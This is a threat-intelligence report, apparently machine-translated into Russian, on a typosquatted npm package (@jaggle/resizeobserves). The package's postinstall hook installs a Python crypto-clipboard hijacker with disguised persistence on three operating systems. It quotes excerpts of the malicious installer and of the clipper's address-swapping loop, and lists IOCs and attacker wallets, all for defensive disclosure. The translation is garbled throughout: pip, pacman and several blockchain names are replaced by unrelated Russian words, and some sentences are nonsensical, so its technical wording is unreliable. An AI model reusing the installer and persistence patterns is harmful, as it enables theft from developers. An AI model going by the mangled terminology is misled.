TL, д-р
21 мая 2026 г., издатель npm jaggle выпущено девять версий (1.0.0 через 1.0.8(возврата на рекламные расходы) @jaggle/resizeobserves Примерно в течение двух часов.
Этот пакет представляет собой опечатку, сделанную вместо легитимного. @juggle/resize-observer polyfill — широко используемый пакет, который еженедельно скачивают миллионы пользователей, — но в нем отсутствует фактическая реализация ResizeObserver.
Вместо этого, пакет хук postinstall устанавливает встроенный Python-пакет, регистрирует механизм сохранения состояния как брокер среды выполнения, внешне похожий на нативный для платформы, и развертывает кроссплатформенный угонщик буфера обмена, нацеленный на криптовалютные транзакции.
Linux настойчивость проявляется как python3-dbus-helper, MacOS as com.apple.python.runtime и Windows as PyRuntimeBroker.
Полезная нагрузка постоянно отслеживает содержимое буфера обмена на предмет адресов кошельков. более 40 блокчейнов и незаметно заменяет скопированные адреса на адреса кошельков, контролируемых злоумышленником.
Вредоносная программа работает исключительно локально, без исходящей инфраструктуры управления и контроля, поэтому подмена буфера обмена сама по себе является механизмом эксфильтрации.
Основной индикатор компрометации — это само имя пакета: @jaggle/resizeobserves — Обратите внимание на выпавшую гласную в слове «jaggle» и добавленную букву «s» в слове «resizeobserves».
Степень тяжести: высокая.
Атака: как она работает
npm:@jaggle/resizeobserves На первый взгляд, это не похоже на вредоносное ПО. просмотр npm, его README.md это дословный README npm:@juggle/resize-observer — те же примеры кода, те же инструкции по использованию, те же import { ResizeObserver } from '@juggle/resize-observer' Повсюду встречаются ссылки. Плагиат настолько полный, что любой, кто взглянет на документацию, подумает, что читает документацию к легитимному пакету.
пакет.jsonНапротив, он довольно скуден: нет хранилище поле, один бункер вход, указывающий на bin/clipboard-guardian.jsИ послеустановка скрипт, который запускается node npm-install.jsВ примерах «Базовое использование» в файле README используется реализация JavaScript, которой нет нигде в архиве. Единственный JavaScript-код в пакете — это скрипт установки.
Этап 1 — npm postinstall инициализирует полезную нагрузку Python.
npm-install.js Он учитывает особенности платформы. Он определяет местоположение. типун исполняемый файл, расположенный вдоль фиксированного пути поиска (/ usr / bin / pip3, / USR / местные / бен / пункт, возвращаясь к python3 -m pip), устанавливает пакет Python из каталога архива и — в Linux — подключает его. Xclip or xsell с помощью APT-получить, Кличко или д.н.ф. если ни один из них еще не присутствует:
javascript if (PLATFORM === "linux" && !silent("which xclip") && !silent("which xsel")) { run("apt-get install -y xclip 2>/dev/null") || run("pacman -S --noconfirm xclip 2>/dev/null") || run("dnf install -y xclip 2>/dev/null"); } if ( !run(`${pip} install --quiet --upgrade --break-system-packages "${PKG_DIR}"`) && !run(`${pip} install --quiet --upgrade "${PKG_DIR}"`) ) process.exit(1); Использование –break-system-packages Это сделано намеренно: в современных дистрибутивах Linux Python поставляется с включенным маркером externally-managed-environment из PEP 668, который по умолчанию блокирует установку pip на уровне всего сайта. Скрипт установки принудительно выполняет установку.
Скрипт также поддерживает использование sudo. Когда идентификатор запущенного пользователя является результатом выполнения команды... sudo npm installВ сценарии написано: SUDO_USER и выбрасывает в получить пароль найти реальные затем записывает файлы постоянного хранения данных в домашний каталог пользователя, а не в него. / КореньСохранение данных осуществляется для каждого пользователя отдельно, а не в масштабах всей системы.
Этап 2 — Межоперационная стабильность под именами брокеров среды выполнения
После установки пакета Python скрипт регистрирует запись автозапуска под разным именем в каждой операционной системе:
- Linux — пользовательский модуль systemd по адресу ~/.config/systemd/user/python3-dbus-helper.service. Единица измерения Описание is Вспомогательная библиотека среды выполнения Python D-BusСкрипт также пытается включить его через systemctl –user enableв случае отказа от использования символической ссылки, созданной вручную, находится в default.target.wants/ При сбое systemctl. Если скрипт запускается с правами суперпользователя (sudo), он переключается на другой способ. sudo -u systemctl –user, где XDG_RUNTIME_DIR настройте так, чтобы работал вызов пользовательской шины.
- MacOS — файл plist LaunchAgent находится по адресу ~/Library/LaunchAgents/com.apple.python.runtime.plist с RunAtLoad=true и KeepAlive=trueзатем загружено через launchctl load.
- Windows — Запланированная задача с именем PyRuntimeBroker, запускаемая при входе в систему (AtLogOn), с нулевым ограничением по времени выполнения (т.е. без таймаута), зарегистрированная через PowerShell.
Все три имени на первый взгляд внушают доверие. python3-dbus-helper соответствует соглашениям об именовании, принятым в легитимной интеграции Python-D-Bus на настольных компьютерах Linux. com.apple.python.runtime имитирует обратную DNS-маркировку Apple для собственных сервисов. PyRuntimeBroker повторяет Windows RuntimeBroker.exe — реальный, подписанный сервис Microsoft, который обрабатывает запросы на разрешения для приложений UWP. В данном контексте ни один из них не является реальным сервисом Apple/Microsoft/Python, но это лишь беглый визуальный осмотр со стороны защитника. systemctl –user list-units or Get-ScheduledTask Вряд ли он вздрогнет.
Этап 3 — Похититель буфера обмена
Полезная нагрузка Python, установленная по адресу: clipboard_guardian/guardian.pyЭта программа запускает бесконечный цикл, опрашивая системный буфер обмена каждые 400 миллисекунд. При каждом такте она извлекает текущее содержимое буфера обмена. pyperclip.paste() и проверяет их на соответствие списку из более чем сорока предварительно скомпилированных регулярных выражений, охватывающих форматы адресов кошельков для Ethereum, Bitcoin, Monero, Solana, TRON, TON, Ripple, Litecoin, Dogecoin, Polkadot, NEAR, Cosmos, Algorand, Stellar, Cardano, Bitcoin Cash, Dash, Zcash, Aptos, Sui, Tezos, MultiversX, Harmony, Terra, Injective, Osmosis, Kava, Celestia, Nano, Filecoin, Ronin, Ergo, DigiByte, Hedera, BNB Smart Chain и нескольких других, которые указаны в качестве заглушек, но пусты в конфигурации по умолчанию (Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin).
Когда обнаруживается совпадение, скрипт считывает адрес злоумышленника для этой цепочки из ~/.config/clipboard-guardian/config.json (или его аналоги на той же платформе) и перезаписывает содержимое буфера обмена подставленным текстом:
python result = find_address_in_text(current, config) if result is None: time.sleep(POLL_INTERVAL) continue chain, found_addr = result my_addr = config[chain] if found_addr == my_addr: time.sleep(POLL_INTERVAL) continue new_text = replace_address_in_text(current, found_addr, my_addr) clipboard_set(new_text) Отсутствует сетевой маяк. Клиппер не отправляет данные на сервер, не регистрирует зараженные хосты и ничего не выводит. Вывод средств заключается в самой подмене: когда пользователь копирует адрес получателя из интерфейса своего кошелька и вставляет его в диалоговое окно отправки, вставленный адрес принадлежит оператору. Средства теряются внутри сети, незаметно для пользователя.
Что здесь нового
По сравнению со стандартным шаблоном crypto-clipper выделяется несколько деталей:
1. Пересечение npm и Python. Большинство криптографических клипперов, которые мы видим в npm, написаны на чистом JavaScript и часто обфусцированы с помощью _0x вращение массива или eval(atob(…)) стеки. В этом примере архив npm используется всего лишь как оболочка для доставки пакета Python — чистый Python — и позволяет pip обрабатывать установку зависимостей.пиперклип, псутил, Опциональный setproctitle) объявлено в комплекте pyproject.tomlЗдесь нет никакой обфускации JavaScript, которую нужно было бы преодолевать. Сам клиппер написан на простом, читаемом языке Python.
2. Метки для обеспечения постоянной работы Tri-OS выбраны с учетом принципа правдоподобия. Многие кроссплатформенные установщики регистрируют сохранение данных под общими именами (updater.service, helper.plistВ этом примере специально подобраны метки, напоминающие встроенные в платформу брокеры среды выполнения в каждой ОС. Именование — единственная попытка скрыть проблему: здесь нет руткитов, нет сокрытия пользовательского пространства, нет обфускации путей. Предполагается, что специалисты по защите данных редко проводят аудит. ~/.config/systemd/user/ и что служба под названием python3-dbus-helper При беглом обзоре это не привлечет внимания.
3. Маскировка названия процесса реальна, но антианализ дремлет. Полезная нагрузка Python определяет _disguise_process() функция, которая устанавливает заголовок процесса посредством setproctitle (Linux/macOS) или SetConsoleTitleW (Windows) — и Основной () Он так и делает. ps aux покажет python3-dbus-helper вместо python3 …/guardian.pyОднако тот же модуль определяет is_monitor_running() функция, которая перечисляет известные инструменты мониторинга процессов (HTOP, бтоп(диспетчер задач, монитор активности, взлом процессов, монитор ресурсов, системные мониторы GNOME/KDE/Xfce/MATE и т. д.) — и Основной () Функция никогда её не вызывает. Цикл подстановки выполняется безусловно, независимо от того, открыт ли у пользователя монитор процессов или нет. В поставляемой версии эта функция является мертвым кодом. Скорее всего, это остаток от более ранней итерации или каркас для функции, которая ещё не реализована. В любом случае, антианалитическая поверхность опубликованной полезной нагрузки — это переименование заголовка процесса, а не активное обходное ...
4. Поведение объединения конфигурационных файлов. npm-install.js записывает список кошельков по умолчанию в ~/.config/clipboard-guardian/config.json И, если файл конфигурации уже существует, он объединяет все ключи, существующие значения которых пусты. Это означает, что пользователь, который ранее был заражен и частично очистил конфигурацию — например, очистив ее — может это сделать. Эфириума Значение — будет заполняться заново при каждой последующей установке вредоносного пакета. В любом участке кода очистка файла постоянного хранения не производится.
| Дата / Время (UTC) | События |
|---|---|
2026-05-21 18:50:32 | @jaggle/resizeobserves@1.0.0 опубликован. |
2026-05-21 19:55:55 | 1.0.1 Опубликовано — первая версия отмечена как проблемная при внешнем сканировании. |
2026-05-21 19:58:10 | 1.0.2 опубликован. |
2026-05-21 20:05:03 | 1.0.3 опубликован. |
2026-05-21 20:09:24 | 1.0.4 опубликован. |
2026-05-21 20:13:48 | 1.0.5 опубликован. |
2026-05-21 20:41:52 | 1.0.6 опубликован. |
2026-05-21 20:43:56 | 1.0.7 опубликовано — добавляет try/catch обертка вокруг шага записи в wallet-config npm-install.js. |
2026-05-21 20:46:15 | 1.0.8 опубликовано — установщик переименован npm-install.js → npm-install.cjs (Побайтовое идентичное содержимое). |
2026-05-22 | Опубликованы решения и МОК. Версии по-прежнему находятся в реестре на момент публикации (процесс продолжается). |
Девять вариантов за один час и пятьдесят шесть минут — это быстро даже для тайпоскваттера. Эта закономерность соответствует... кампания «опубликовать и сжечь» — Заполнить реестр одним ником, позволить обнаружению пройти свой путь и перейти к новому нику после удаления единственной версии. Видимые изменения в ходе выполнения носят косметический характер: в версии 1.0.1 добавлено явное / usr / bin / pip3Пути в стиле - к списку поиска pip (совместимость с sudo), в версии 1.0.7 запись wallet-config была обернута в блок try/catch, а в версии 1.0.8 установщик был переименован. . Js в .cjs при этом сохраняя идентичность содержимого в байтах. .cjs переименовывать треки с предупреждениями npm о неоднозначном разрешении модулей в пакетах без явного указания "тип" поле, и это может быть попыткой подавить шум во время установки, который мог бы привлечь внимание. Полезная нагрузка Python — единственная часть, которая фактически крадет данные — остается неизменной во всех девяти версиях.
Показатели компромисса
Packages
| Экосистема | Упаковка | Версии | Статус |
|---|---|---|---|
| НПМ | @jaggle/resizeobserves | 1.0.0 через 1.0.8 | Доступно на момент публикации; запрошено удаление. |
Файлы и хеши
| Тропа | Заметки |
|---|---|
clipboard_guardian/guardian.py(md5 f7935c2c82bc881288611ab6cd634f17) | Идентичны во всех девяти опубликованных версиях (1.0.0 через 1.0.8). Полезная нагрузка клиппера. |
npm-install.js (1.0.0 – 1.0.7)npm-install.cjs (1.0.8) | Установщик с функцией сохранения данных; одинаковое поведение на всем протяжении процесса. 1.0.7's .js и 1.0.8's .cjs являются байтово идентичными. |
~/.config/clipboard-guardian/config.json | Пакет конфигурации постоянного хранения данных в Linux и кошелька. |
~/Library/Application Support/clipboard-guardian/config.json | конфигурационный пакет для сохранения данных в macOS и пакет для кошелька. |
%APPDATA%\clipboard-guardian\config.json | Пакет конфигурации постоянного хранения данных в Windows и кошелька. |
~/.config/systemd/user/python3-dbus-helper.service | Сохранение автозапуска в Linux. |
~/Library/LaunchAgents/com.apple.python.runtime.plist | Сохранение состояния LaunchAgent в macOS. |
~/Library/Logs/com.apple.python.runtime.log | Журнал стандартного вывода/ошибок macOS для агента. |
Scheduled Task PyRuntimeBroker | Задача автозапуска Windows (AtLogOn(без тайм-аута). |
Поведенческие индикаторы
| сигнал | Описание |
|---|---|
pip install --break-system-packages из npm postinstall | Принудительная установка Python на всем сайте в обход защиты PEP 668. |
apt-get install -y xclip (или pacman/dnf) | Устанавливает утилиты для работы с буфером обмена в Linux во время установки пакета. |
python3-dbus-helper.service пользовательский модуль systemd | Функция сохранения данных зарегистрирована под правдоподобно выглядящим именем вспомогательной функции среды выполнения. |
com.apple.python.runtime LaunchAgent | Метка сохранения находится вне допустимых системных путей Apple. |
PyRuntimeBroker Запланированная задача | Имитация постоянного присутствия брокера среды выполнения Windows без использования легитимного источника установщика. |
Процесс Python под названием python3-dbus-helper импортирующий pyperclip и psutil | Несоответствие между отображаемым именем процесса и импортированными библиотеками. |
| Изменения в буфере обмена происходят примерно через 0.4 секунды после копирования адреса кошелька. | Поведение подписи при подмене криптовалютных адресов. |
Набор кошельков для злоумышленников (список для охоты на защитников)
Список кошельков поставляется в жестко закодированном виде. npm-install.js и clipboard_guardian/guardian.pyЗащитники могут использовать этот список как в качестве черного списка (любые переводы на эти адреса из корпоративных кошельков следует рассматривать как подозрительные), так и в качестве ключа для поиска (наличие любой из этих строк в неаутентифицированном конфигурационном файле, артефакте сборки или на компьютере разработчика следует рассматривать как индикатор заражения).
Набор кошельков для злоумышленников
| цепь | Адрес |
|---|---|
| Эфириум / BSC | 0x450c0E58Fc2ba03632d3F5780ad8C966648B6F18 |
| Ронин (EVM) | ronin:450c0E58Fc2ba03632d3F5780ad8C966648B6F18 |
| Bitcoin | bc1qs2mpls4p0f7fng073gy2rcdgjpf7la4eugpt6y |
| Bitcoin Cash | bitcoincash:qqmvyxxklzp7l3eslxavhc8phl6hprdf25lwc29nlt |
| Litecoin | ltc1qnefc8x59a9cwtqnflt8hmqvezqw4hc7lt3fkqe |
| Dogecoin | DNEJmYRZtzyK44tZea4S7wV3otTyRk48Fy |
| Dash | XtJ7E6mnhPK93Vib29PGQrTmQjhTTqFwbS |
| Zcash | t1d4hcEnBjdh9X6Wb6R2dxqjnxddJ6ocP8M |
| DigiByte | DPmH2dhiGK3hk3A69tZUMz6tHzGFHBzSrH |
| Monero | 42zhAidVhP7QETk83JAspS59ASALSHFio44vmu6MdDCz15cSqtqsG4QVyzY8vTrjGrTEA6zMbWW6Yft1Ynz1xLfCN5FVbXf |
| Solana | DWBAmQLi9gP6mk7UfJfQGYTV1UPK32WekLTqg83q1mc5 |
| TRON | TVgEgMemmJABYYnbNr1Wi8bSgADEkdEBt2 |
| TON | UQDTSkvwmptU9eG988KgxS3WjnYAZlXgfpJxnz4mhWZAvULr |
| Ripple | r9tj3cMCiqRijNYqNVYNuwKykkQfS8FE4H |
| Polkadot | 1JSkYqXQE4d28HdcmTPhbgCrdiPFTfSHxD67tam16p53oBG |
| РЯДОМ | 5d6aec44551529e8cd9ebd3aaa84b3832fc3c7463596b2b6e72635b80096a364 |
| Космос | cosmos1pzfl3kv5g8g0ernj86rwpar08u2zl9suthx28e |
| осмос | osmo1pzfl3kv5g8g0ernj86rwpar08u2zl9surv463t |
| Celestia | celestia1pzfl3kv5g8g0ernj86rwpar08u2zl9su6ah6a5 |
| Инъективные | inj1g5xquk8u9wsrvvkn74uq4kxfvejgkmccn578gh |
| Кава | kava1kjfvgcz4q0y9yae2f3pa33vhj2estxxj3sqqux |
| Кондо Хармони | one19hn0n7dzkhtl9ta9ekv5592s85jwstpka76t3a |
| земля | terra1h0dwu8z405jagdlr0fgr9jllac2sxajzlgme5x |
| Algorand | XSAMN3FTB5SUHUQFENBDDRXIMOPNFVLKAWA3RNOU54DWROMDZ6SR7DZ2PI |
| Stellar | GACNZSV4EQO65NZZUOBS3TMJM7GFTSRNKQBVJOX5P2G7U7SEBQ2ZUDJE |
| Cardano | addr1qyj050vla4cglmyrgm4vzf3dxtn0gynpks4t7vp7s3lg49e9wt0s94hcztzdgecxcz5hu9uk56q60yth6d66w026s2kq3ma56f |
| МультиверсX | erd1slvlgqsmwzk0c8xtksm4eq5vdfnc26slpzqsyxhz456zvme5rpasue6ge0 |
| Aptos | 0x580ecda1ebd6ca5a46be2097568d013308bd54ef1d147acb880b59f7709f280e |
| На | 0xf7e8a9a970fa65c058745c4b2cf2a856cc0283863e4ed1e142648f26097b0c78 |
| Нано-бамбуковое волокно | nano_393n56a5pfz8zg3nkzf7mytfgagzhu5mn9i3xiqg54weq8n1u8jgezxas7dn |
| Filecoin | f1fypyww3xubopfnv7q6yh5l4bko44wmfktf3ckui |
| Tezos | tz1RccjnorHk61bt73ArLXcdgFjEj6T1ochk |
| Следовательно | 9g1pNQGnFg7Hk1d9Z66bgHMkguGU7R41btypAnbG1NF5FJoNdBA |
| Hedera | 0.0.10488092 |
В этой сборке цепочки, для которых есть покрытие регулярными выражениями, но пустые слоты для кошельков в конфигурации по умолчанию — Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin, Beacon-Chain BNB — не заменяются активно, но обнаруживаются. Рассматривайте их как область мониторинга, а не как область замены.
Атрибуция и мотивация
Данная кампания предоставляет ограниченные возможности для установления авторства. Мы не смогли подтвердить личность оператора. Что нам удалось зафиксировать:
- Метаданные издателя. Учетная запись npm тряска указывает свой адрес электронной почты как olgascarlet@deltajohnsons.com. Домен deltajohnsons.com Не соответствует корпоративной идентичности, которую мы можем проверить. В учетной записи npm отсутствует подтверждение электронной почты и нет SCM Проверка. Публичная страница на GitHub отсутствует.
- Поле репозитория. пакет.json не несет никакой хранилище поле. Законное npm:@juggle/resize-observer Это указывает на реальный репозиторий GitHub с тысячами звёзд и активными проблемами. Отсутствие ссылки на репозиторий — это самый быстрый визуальный признак в пользовательском интерфейсе npm.
- README плагиат. Файл README пакета является подлинным. @juggle/resize-observer README, побайтовый код, включая Импортировать примеры, которые ссылаются @juggle/resize-observer Сам по себе (а не издательский пакет). Оператор даже не потрудился переписать импорты — распространенный признак того, что файл readme был скопирован, а не адаптирован.
- Отсутствие инфраструктуры, на которую можно было бы опереться. Отсутствует конечная точка управления (C2), нет DNS-запроса, нет IP-адреса. Вредоносное поведение полностью инкапсулировано в локальном клиппере и жестко закодированном пакете кошелька. Это делает невозможным перенаправление атак на основе домена или ASN. Специалисты по защите, перенаправляющие атаки между кампаниями, должны сопоставлять хеши кошельков с любыми предыдущими клипперами, которые у них есть в файле; повторное использование кошелька в разных пакетах является наиболее эффективным способом межкампательской связи.
- Выбор названия. @jaggle/resizeobserves отличается всего на один символ от @жонглировать и всего на одну интонацию отличается от хорошо известного resize-observerОбщее расстояние редактирования составляет два глифа. Это преднамеренное визуальное столкновение, а не простое приседание.
Мотивация, основанная на поведении полезной нагрузки: чистая монетизация за счет оппортунистической подмены буфера обмена. Нет сбора учетных данных, нет идентификации хоста, нет считывания переменных окружения. Оператору все равно, кто жертва — ему важно, чтобы следующая передача жертвы указывала на один из указанных адресов. Покрытие сорока цепочек — это модель лотереи в действии: широкое распространение, надежда, что одна ценная вставка попадет хотя бы раз на N установок.
Оператор, похоже, не обеспокоен удалением. Публикация девяти версий в течение двух часов в рамках одной и той же области действия выглядит как схема «публикация и уничтожение»: максимально увеличить объем занимаемого реестра до того, как задержка удаления достигнет нужного уровня, а затем двигаться дальше. Мы не наблюдали @jaggle На момент написания статьи публикация переиздается под новым названием, но мы ожидаем появления похожих изданий (@jaggie, @жонглировать-, @joggle) появится в ближайшие дни, если оператор все еще активен.
Влияние, тенденции и что должны делать защитники.
Влияние
Количественная оценка влияния в реальных деньгах на основе имеющихся данных невозможна. Clipper не записывает телеметрию, и на момент окончания анализа не было зафиксировано, чтобы кошельки получали замещенные переводы (в нашем списке запланировано дальнейшее сканирование перечисленных блокчейнов). Легитимные npm:@juggle/resize-observer В среднем количество еженедельных загрузок исчисляется семизначными цифрами — это целевая аудитория для вредоносных программ типа Typosquat с высоким трафиком, — а вредоносный пакет был активен менее 24 часов на момент раскрытия информации, что ограничивает круг уязвимых пользователей, но не сводит его к нулю.
Радиус взрыва, за которым стоит следить, не определяется прямыми загрузками. @jaggle/resizeobserves — Вероятно, это небольшие пакеты. Это **транзитивные установки**: разработчик добавляет пакет в тестовый проект и запускает его. Установка npm, а затем забывая, что хук установки вообще когда-либо запускался. Теперь на каждой машине, которая обрабатывала postinstall, при автозапуске установлен перехватчик буфера обмена для каждого пользователя, независимо от того, находится ли проект все еще на диске. Удаление каталога пакета из node_modules не устраняет сохранение состояния.
Новые модели
Эта кампания иллюстрирует две тенденции.
npm как обертка для доставки полезной нагрузки на Python. Архив npm представляет собой установщик из 4 строк; фактическим «похитителем» является Python, устанавливаемый в масштабе всей системы. типун из каталога, входящего в комплект поставки. Это не ново — мы уже видели, как в npm-пакетах удаляли Python, — но это становится заметно более распространенным явлением в кампаниях по внедрению криптографических клипперов. Преимущество для оператора двоякое: библиотеки буфера обмена Python (пиперклип (в первую очередь) они более чистые и кроссплатформенные, чем их аналоги на JavaScript, и Большинство автоматизированных сканеров npm уделяют большое внимание файлам JavaScript и Python. .py легкие пучки. Цена заключается в том, что звук от установки становится намного громче — новая установка пип установить Скрыть это сложно на компьютере разработчика, который обычно этого не делает. пип установить в течение Установка npm.
Единственным скрытым решением являются собственные названия платформы. В последнее время ряд программ для перехвата данных и программ для кражи небольших объемов информации полностью отказались от обфускации на уровне кода в пользу использования внешне правдоподобных меток для сохранения доступа. python3-dbus-helper, com.apple.python.runtime и PyRuntimeBroker Это хрестоматийные примеры — имена, которые защитник пропустит в списке из сорока пользовательских сервисов. Это дешевая и надежная форма скрытности: удаление происходит для каждого пакета отдельно, но файлы, обеспечивающие постоянное присутствие, сохраняются после удаления, а сервис, названный в честь компонента платформы, выглядящего вполне реально, не будет удален ничем, кроме явного аудита.
Что должны делать защитники
- Выполните аудит файлов ~/.config/systemd/user/, ~/Library/LaunchAgents/ и Get-ScheduledTask. выходной На компьютерах разработчиков должны быть записи, перечисленные в IOC. Удаление пакета npm оставляет их на месте; их необходимо удалить вручную.
- Блокировка переводов на указанные адреса кошельков на границах между корпоративными казначействами и DeFi-кошельками, где доступна функция добавления адресов в список разрешенных.
- Найдите файл ~/.config/clipboard-guardian/config.json (и аналогичные на разных платформах) на всех машинах разработчиков. Наличие файла с высокой степенью вероятности свидетельствует о заражении, независимо от того, какая версия пакета его предоставила.
- Найдите файл clipboard_guardian/guardian.py в папке node_modules/ в снимках кэша сборки, которые могли быть сделаны до удаления файла. Хемк-значение MD5 файла стабильно во всех проверенных версиях.
- Lockfile-pin @juggle/resize-observer (легитимный пакет), чтобы в будущих установках из-за опечатки в один символ невозможно было получить доступ к чему-либо другому, особенно в рабочих процессах без файлов блокировки, таких как NPX.
- Обрабатывайте любые вызовы pip install через npm postinstall как высокой степени тяжести в сборке-pipeline политика. Нет никаких законных оснований для того, чтобы пакету npm требовался pip во время установки — инструменты Python распространяют инструменты Python.
- Найдите в базе данных мониторинга, сопоставимой с process_iter(), процессы с именем python3-dbus-helper, которые импортируют pyperclip. — Несоответствие маскировки (помощник D-Bus держит в руках библиотеку в буфере обмена) — это самый понятный поведенческий индикатор, который у нас есть.
- Меняйте адреса кошельков, скопированные с зараженных компьютеров. Вирус, перехватывающий буфер обмена, нарушает связь между пользовательским интерфейсом кошелька и целевым адресом для вставки; адреса, скопированные во время заражения, могут быть незаметно изменены. Все, что отправляется в период заражения, следует рассматривать как потенциально ошибочно направленное.
Главный вывод: сохранение данных происходит дольше, чем их удаление. Реестр в конечном итоге удалит данные. @jaggle/resizeobserves Во всех девяти версиях модуль systemd, LaunchAgent и запланированная задача не удаляются самостоятельно.
Референсы
- @juggle/resize-observer в npm — легитимный пакет, который имитирует этот typosquat; полезен в качестве отправной точки для побайтового плагиата в файле README.
- @jaggle/resizeobserves метаданные реестра — Опубликовать метки времени для девяти вредоносных версий, полезные для проведения криминалистического анализа хронологии событий.






